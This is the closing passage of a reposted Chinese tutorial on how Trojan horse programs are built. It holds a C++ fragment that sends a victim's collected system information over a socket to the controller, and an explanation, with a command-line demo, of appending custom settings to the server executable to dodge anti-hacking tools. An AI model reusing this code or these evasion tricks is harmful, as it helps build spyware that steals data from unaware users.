  char *buf;

  TcpMsgUint Msg2;

  strcpy(Msg2.TPassword,Password);

  TMemoryStream *ms=new TMemoryStream;

  ms->Clear();

  if (!FileExists(FileName)) CheckHard();

  TFileStream *fs=new TFileStream(FileName,fmOpenRead);

  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

  fs->Read(buf,fs->Size);

  Msg2.Type=MsgGetHardWare;

  Msg2.Length=fs->Size;

  FileClose(fs->Handle);

  ms->Write(&Msg2,sizeof(TcpMsgUint));

  ms->Write(buf,Msg2.Length);

  ms->Position=0;

  delete []buf;

  try{

  sock->SendStream(ms);

  }

  catch(Exception&e) {

  }

  }

  上面一段程序,基本上把相關(guān)的系統(tǒng)信息都取到了。

  7、服務(wù)器端程序的包裝與加密

  有些軟件允許用戶自定義端口號。這樣做的目的,是為了防止被反黑程序檢測出來,這種功能是如何實現(xiàn)的呢?

  首先讓我們來做一個實驗:

  進入Windows的命令行模式下做如下操作

  1)C:/>copy Server.Exe Server.Bak

  2)建立一個文本文件Test.Txt,其內(nèi)容為“http://www.patching.net”

  3)C:/>type Text.Txt>>Server.Exe

  4)運行Server.Exe

   怎么樣?是不是發(fā)現(xiàn)Server.Exe仍然可以運行呢?木馬服務(wù)器端自定制的奧秘就在這里:首先生成了一個EXE文件,這個EXE文件里有一項讀取自 身進程內(nèi)容的操作,讀取時,文件的指針直接指向進程的末尾,從末尾的倒數(shù)N個字節(jié)處取得用戶定制的信息,比如端口號等,然后傳遞給程序的相關(guān)部分進行處 理。這里不給出相關(guān)的代碼部分,有興趣的朋友請參考一些文件打包程序代碼,它所使用的技術(shù)是大同小異的。

  8、總結(jié)

   以上講的幾點技術(shù),基本上包括了所有第二代木馬的特點,個別的木馬程序支持服務(wù)器列表,宏傳播等,實現(xiàn)上大同小異。隨著技術(shù)的不斷更新和發(fā)展,相信離第 五代木馬出現(xiàn)的日子已經(jīng)不遠了,黑與反黑,如此往復(fù)的的進行下去,希望這篇文章在您閱讀之后能帶給您一些反黑技術(shù)上的幫助。

總結(jié)

以上是生活随笔為你收集整理的透视特洛伊木马程序开发技术的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。